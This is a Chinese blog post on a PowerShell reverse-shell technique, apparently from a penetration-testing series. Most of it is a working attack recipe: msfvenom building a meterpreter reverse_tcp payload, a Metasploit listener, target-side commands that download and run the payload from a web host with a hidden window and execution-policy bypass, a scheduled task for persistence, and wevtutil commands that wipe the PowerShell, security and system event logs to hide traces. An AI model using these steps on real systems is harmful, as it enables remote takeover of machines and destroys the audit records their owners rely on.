PowerShell 反弹渗透技巧
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术,同时也包含了数种系统管理工具、简易且一致的语法,提升管理者的管理能力,自Windows 7 开始一直到Windows 10 包括服务器Windows Server 系统中,都将内置 PowerShell,其可作为白名单的一种绕过方式,也让渗透变得更加有趣。
PowerShell 基本反弹
- 生成PowerShell 脚本文件 shell.ps1 并将其放入到Web服务器目录下。
[root@localhost ~]# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f psh-cmd > shell.ps1
[root@localhost ~]# cp -a shell.ps1 /var/www/html/
[root@localhost ~]# systemctl restart httpd
2.MSF运行侦听事件,执行如下命令。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z
3.在靶机执行以下命令,即可完成上线。
C://> powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://lyshark.com/shell.ps1');shell.ps1"
C://> powershell.exe wget "http://lyshark.com/shell.exe" -outfile "C:\shell.exe"
C://> schtasks /create /tn "PowerShell" /tr "这里存放待执行任务" /sc ONLOGON 创建计划任务
4.为防止暴露痕迹,在执行完命令后,需要在靶机执行以下命令,清理痕迹.
Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。
C:\Users\lyshark>wevtutil cl "windows powershell"
C:\Users\lyshark>wevtutil cl "security"
C:\Users\lyshark>wevtutil cl "system"
文章出处:https://www.cnblogs.com/LyShark/p/11360170.html
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
分类:
《渗透测试与网络安全实战》
标签:
渗透测试
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?